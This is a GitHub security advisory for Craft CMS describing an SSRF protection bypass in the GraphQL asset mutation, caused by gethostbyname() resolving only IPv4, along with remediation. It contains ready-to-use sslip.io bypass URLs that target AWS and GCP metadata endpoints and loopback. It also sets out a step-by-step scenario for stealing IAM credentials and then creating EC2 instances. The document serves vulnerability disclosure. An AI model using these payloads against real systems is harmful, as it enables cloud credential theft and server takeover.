GHSA-v2gc-rm6g-wrw9: Craft CMS: Cloud Metadata SSRF Protection Bypass via IPv6 Resolution
The SSRF validation in Craft CMS’s GraphQL Asset mutation uses `gethostbyname()`, which only resolves IPv4 addresses. When a hostname has only AAAA (IPv6) records, the function returns the hostname string itself, causing the blocklist comparison to always fail and completely bypassing SSRF protection.This is a bypass of the security fix for CVE-2025-68437 ([GHSA-x27p-wfqw-hfcc](https://github.com/craftcms/cms/security/advisories/GHSA-x27p-wfqw-hfcc)).Required PermissionsExploitation requires GraphQL schema permissions for:Edit assets in the `<VolumeName>` volumeCreate assets in the `<VolumeName>` volumeThese permissions may be granted to:Authenticated users with appropriate GraphQL schema accessPublic Schema (if misconfigured with write permissions)Technical DetailsRoot CauseFrom PHP documentation: *"gethostbyname - Get the IPv4 address corresponding to a given Internet host name"*When no IPv4 (A record) exists, `gethostbyname()` returns the hostname string unchanged.Bypass MechanismBypass PayloadsBlocked IPv4 Addresses and Their IPv6 Bypass Equivalents| Cloud Provider | Blocked IPv4 | IPv6 Equivalent | Bypass Payload |
|----------------|--------------|-----------------|----------------|
| **AWS EC2 IMDS** | `169.254.169.254` | `fd00:ec2::254` | `http://fd00-ec2--254.sslip.io/` |
| **AWS ECS** | `169.254.170.2` | `fd00:ec2::254` (via IMDS) | `http://fd00-ec2--254.sslip.io/` |
| **Google Cloud GCP** | `169.254.169.254` | `fd20:ce::254` | `http://fd20-ce--254.sslip.io/` |
| **Azure** | `169.254.169.254` | No IPv6 endpoint | N/A |
| **Alibaba Cloud** | `100.100.100.200` | No documented IPv6 | N/A |
| **Oracle Cloud** | `192.0.0.192` | No documented IPv6 | N/A |Additional IPv6 Internal Service Bypass Payloads| Target | IPv6 Address | Bypass Payload |
|--------|--------------|----------------|
| **IPv6 Loopback** | `::1` | `http://0-0-0-0-0-0-0-1.sslip.io/` |
| **AWS NTP Service** | `fd00:ec2::123` | `http://fd00-ec2--123.sslip.io/` |
| **AWS DNS Service** | `fd00:ec2::253` | `http://fd00-ec2--253.sslip.io/` |
| **IPv4-mapped IPv6** | `::ffff:169.254.169.254` | `http://0-0-0-0-0-0-ffff-a9fe-a9fe.sslip.io/` |Steps to ReproduceStep 1: Verify DNS ResolutionStep 2: Enumerate AWS IAM Role NameStep 3: Retrieve AWS CredentialsStep 4: Access Saved CredentialsThe credentials will be saved to the asset volume (e.g., `/userphotos/photos/creds.json`).Attack ScenarioAttacker finds Craft CMS instance with GraphQL asset mutations enabledAttacker sends mutation with `url: "http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/"`Error message or saved file reveals IAM role nameAttacker retrieves credentials via second mutationAttacker uses credentials to access AWS services**Attacker can now achieve code execution by creating new EC2 instances with their SSH key**RemediationReplace `gethostbyname()` with `dns_get_record()` to check both IPv4 and IPv6:Additional Mitigations| Mitigation | Description |
|------------|-------------|
| Block wildcard DNS services | Block nip.io, sslip.io, xip.io suffixes |
| Use `dns_get_record()` | Resolves both IPv4 and IPv6 |Resourceshttps://github.com/craftcms/cms/commit/2825388b4f32fb1c9bd709027a1a1fd192d709a3[PHP: gethostbyname](https://www.php.net/manual/en/function.gethostbyname.php) - "Get the **IPv4 address** corresponding to a given Internet host name"[GHSA-x27p-wfqw-hfcc](https://github.com/advisories/GHSA-x27p-wfqw-hfcc) - Original SSRF vulnerability (CVE-2025-68437)[AWS IMDS IPv6 Documentation](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-retrieval.html)[GCP Metadata Server Documentation](https://cloud.google.com/compute/docs/metadata/querying-metadata)[PayloadsAllTheThings - SSRF Cloud Instances](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/SSRF-Cloud-Instances.md)
CVSS v4.0: 5.5